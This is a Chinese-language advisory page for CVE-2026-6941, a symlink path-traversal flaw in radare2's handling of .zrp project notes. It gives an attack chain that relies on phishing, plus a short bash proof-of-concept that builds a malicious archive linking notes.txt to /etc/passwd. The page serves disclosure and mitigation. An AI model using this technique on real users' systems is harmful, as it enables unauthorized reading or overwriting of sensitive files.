IPBUF安全漏洞报告
English
CVE-2026-6941 CVSS 6.6 中危

CVE-2026-6941:radare2项目笔记路径遍历漏洞

披露日期: 2026-04-23

漏洞信息

漏洞编号
CVE-2026-6941
漏洞类型
路径遍历
CVSS评分
6.6 中危
攻击向量
本地 (AV:L)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
radare2

相关标签

路径遍历radare2符号链接本地漏洞CVE-2026-6941

漏洞概述

radare2 6.1.4之前的版本存在路径遍历漏洞。该漏洞源于项目笔记处理机制对符号链接的校验不严。攻击者可诱导用户导入包含恶意符号链接notes.txt文件的.zrp压缩包。利用该漏洞可绕过目录隔离限制,导致攻击者能够读取或写入项目目录之外的任意文件,造成信息泄露或数据篡改。

技术细节

该漏洞位于radare2的项目文件处理逻辑中。radare2使用.zrp格式(本质上是压缩包)来保存和加载项目配置及笔记。当用户导入恶意.zrp存档时,radare2会解压文件并尝试读取其中的notes.txt。然而,软件在解析notes.txt时,未充分验证其是否为符号链接。攻击者可构造一个.zrp文件,将notes.txt设置为指向系统敏感文件(如/etc/passwd)的符号链接。由于radare2在执行目录边界检查前未能正确解析符号链接,导致后续的笔记读写操作跟随符号链接,直接作用于目标文件。由于攻击向量为本地(AV:L)且需要用户交互(UI:R),攻击者通常需要通过社会工程学手段诱导受害者打开恶意项目文件才能成功利用。

攻击链分析

STEP 1
1. 构造恶意文件
攻击者创建一个包含notes.txt文件的目录,并将该文件设置为指向目标系统敏感文件(如/etc/passwd)的符号链接,随后将其打包为.zrp格式。
STEP 2
2. 诱导用户
攻击者通过网络钓鱼或社会工程学手段,将包含恶意代码的.zrp文件发送给目标用户,并诱导其在radare2中打开该文件。
STEP 3
3. 触发漏洞
用户在radare2中导入项目文件,radare2解压存档并处理notes.txt,由于未能正确处理符号链接,直接跟随链接读取或写入目标文件。
STEP 4
4. 达成攻击
利用笔记读写功能,攻击者成功读取敏感信息或在受影响位置写入数据,实现本地文件的越权访问。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/bin/bash # PoC for CVE-2026-6941: radare2 Path Traversal via Symlink # This script creates a malicious .zrp archive containing a symlinked notes.txt # Create a temporary directory for the exploit mkdir -p exploit_poc cd exploit_poc # Create a symlink pointing to a sensitive file (e.g., /etc/passwd) # When radare2 imports this project, it will follow this symlink. ln -s /etc/passwd notes.txt # Package the files into a .zrp archive (zip format) zip -r ../malicious_exploit.zrp . cd .. echo "Created malicious_exploit.zrp" echo "Import this file in radare2 (r2 -i malicious_exploit.zrp) to trigger the vulnerability." rm -rf exploit_poc

影响范围

radare2 < 6.1.4

防御指南

临时缓解措施
用户应避免从不可信来源下载或导入radare2项目文件。在官方发布补丁前,可使用沙箱环境运行radare2以隔离潜在的文件访问风险。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表